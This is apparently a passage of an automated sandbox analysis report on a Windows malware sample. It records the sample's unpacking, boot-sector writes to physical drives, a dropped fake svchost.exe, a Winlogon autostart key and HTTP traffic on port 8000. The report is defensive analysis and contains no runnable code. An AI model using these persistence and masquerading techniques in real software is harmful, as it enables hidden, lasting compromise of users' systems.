    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeUnpacked PE file: 27.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1470000.2.unpack
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeUnpacked PE file: 29.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3160000.2.unpack
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeUnpacked PE file: 31.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2990000.2.unpack
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeUnpacked PE file: 35.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2870000.2.unpack
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeUnpacked PE file: 37.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3230000.2.unpack
    Detected unpacking (overwrites its own PE header)
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeUnpacked PE file: 0.2.1fWgBXPgiT.exe.400000.2.unpack
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004020E0 memset,SHGetFolderPathA,PathAppendA,SetCurrentDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,0_2_004020E0
    Source: 1fWgBXPgiT.exeStatic PE information: real checksum: 0x677dbc42 should be: 0x410a0
    Source: svchost.exe.0.drStatic PE information: real checksum: 0x1381adc5 should be: 0x410a0
    Source: 1fWgBXPgiT.exeStatic PE information: section name: .dHGmL
    Source: 1fWgBXPgiT.exeStatic PE information: section name: .lzmjSu
    Source: 1fWgBXPgiT.exeStatic PE information: section name: .YOSWO
    Source: 1fWgBXPgiT.exeStatic PE information: section name: .sTDEgl
    Source: 1fWgBXPgiT.exeStatic PE information: section name: .fwQO
    Source: 1fWgBXPgiT.exeStatic PE information: section name: .L
    Source: 1fWgBXPgiT.exeStatic PE information: section name: .D
    Source: 1fWgBXPgiT.exeStatic PE information: section name: .kubC
    Source: 1fWgBXPgiT.exeStatic PE information: section name: .hkw
    Source: svchost.exe.0.drStatic PE information: section name: .dHGmL
    Source: svchost.exe.0.drStatic PE information: section name: .lzmjSu
    Source: svchost.exe.0.drStatic PE information: section name: .YOSWO
    Source: svchost.exe.0.drStatic PE information: section name: .sTDEgl
    Source: svchost.exe.0.drStatic PE information: section name: .fwQO
    Source: svchost.exe.0.drStatic PE information: section name: .L
    Source: svchost.exe.0.drStatic PE information: section name: .D
    Source: svchost.exe.0.drStatic PE information: section name: .kubC
    Source: svchost.exe.0.drStatic PE information: section name: .hkw
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_0044B1E0 push eax; ret 0_2_0044B20E
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_0225016A push ds; ret 0_2_0225016B
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_0225063D push ds; ret 0_2_022505F1
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_0225063D push ebx; ret 0_2_02250677
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_02250678 push dword ptr [esp+48h]; ret 0_2_02250747
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_022504C7 push ds; ret 0_2_022504E6
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_022505A1 push ds; ret 0_2_022505F1
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_022505A1 push ebx; ret 0_2_02250677
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02738B69 push cs; iretd 5_2_02738B78
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02738B33 push cs; ret 5_2_02738B48
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0273849D push es; iretd 5_2_027384AC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02734DE0 push eax; ret 5_2_02734E0E
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C468D2 push ebp; retf 5_2_00C468D3
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C56895 push cs; retf 0004h5_2_00C568F5
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C5989D push es; iretd 5_2_00C598AC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C561E0 push eax; ret 5_2_00C5620E
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C5655E pushad ; ret 5_2_00C56569
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C3CD5C push ebp; retf 5_2_00C3CD5D
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C5656A push eax; ret 5_2_00C5656D
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C56576 push ss; ret 5_2_00C56579
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C4664C push ebp; retf 5_2_00C4664D
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B58B33 push cs; ret 6_2_00B58B48
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B58B69 push cs; iretd 6_2_00B58B78
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B5849D push es; iretd 6_2_00B584AC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B54DE0 push eax; ret 6_2_00B54E0E
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00AF989D push es; iretd 6_2_00AF98AC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00AF6895 push cs; retf 0004h6_2_00AF68F5
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00AE68D2 push ebp; retf 6_2_00AE68D3
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00AF61E0 push eax; ret 6_2_00AF620E
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00AF656A push eax; ret 6_2_00AF656D
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00AF6576 push ss; ret 6_2_00AF6579

    Persistence and Installation Behavior

    barindex
    Contains functionality to infect the boot sector
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u5_2_027033F0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u6_2_00B233F0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u9_2_026B33F0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u13_2_022D33F0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u16_2_010B33F0
    Drops PE files with benign system names
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeFile created: C:\Windows\apppatch\svchost.exeJump to dropped file
    Drops executables to the windows directory (C:\Windows) and starts them
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeExecutable created and started: C:\Windows\apppatch\svchost.exeJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: API: WriteFile string: \\?\globalroot\systemroot\system32\tasks\0_2_00403560
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeFile created: C:\Windows\apppatch\svchost.exeJump to dropped file
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeFile created: C:\Windows\apppatch\svchost.exeJump to dropped file

    Boot Survival

    barindex
    Contains functionality to infect the boot sector
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u5_2_027033F0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u6_2_00B233F0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u9_2_026B33F0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u13_2_022D33F0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u16_2_010B33F0
    Creates an undocumented autostart registry key
    Source: C:\Windows\apppatch\svchost.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon userinitJump to behavior
    Monitors registry run keys for changes
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    Hooking and other Techniques for Hiding and Protection

    barindex
    Moves itself to temp directory
    Source: c:\users\user\desktop\1fwgbxpgit.exeFile moved: C:\Users\user\AppData\Local\Temp\71C8.tmpJump to behavior
    Uses known network protocols on non-standard ports
    Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 8000
    Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 49755
    Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 8000
    Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 49755
    Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 8000
    Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 49755
    Source: unknownNetwork traffic detected: HTTP traffic on port 50171 -> 8000
    Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 50171
    Source: unknownNetwork traffic detected: HTTP traffic on port 50171 -> 8000
    Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 50171
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026FD300 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,5_2_026FD300
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026F9ED0 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,5_2_026F9ED0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026FCFE9 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,5_2_026FCFE9
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026FCFE9 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,5_2_026FCFE9
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026FCD50 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,5_2_026FCD50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026FCDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,5_2_026FCDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026FCDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,5_2_026FCDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026FCDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,5_2_026FCDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026FCDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,5_2_026FCDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B1D300 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,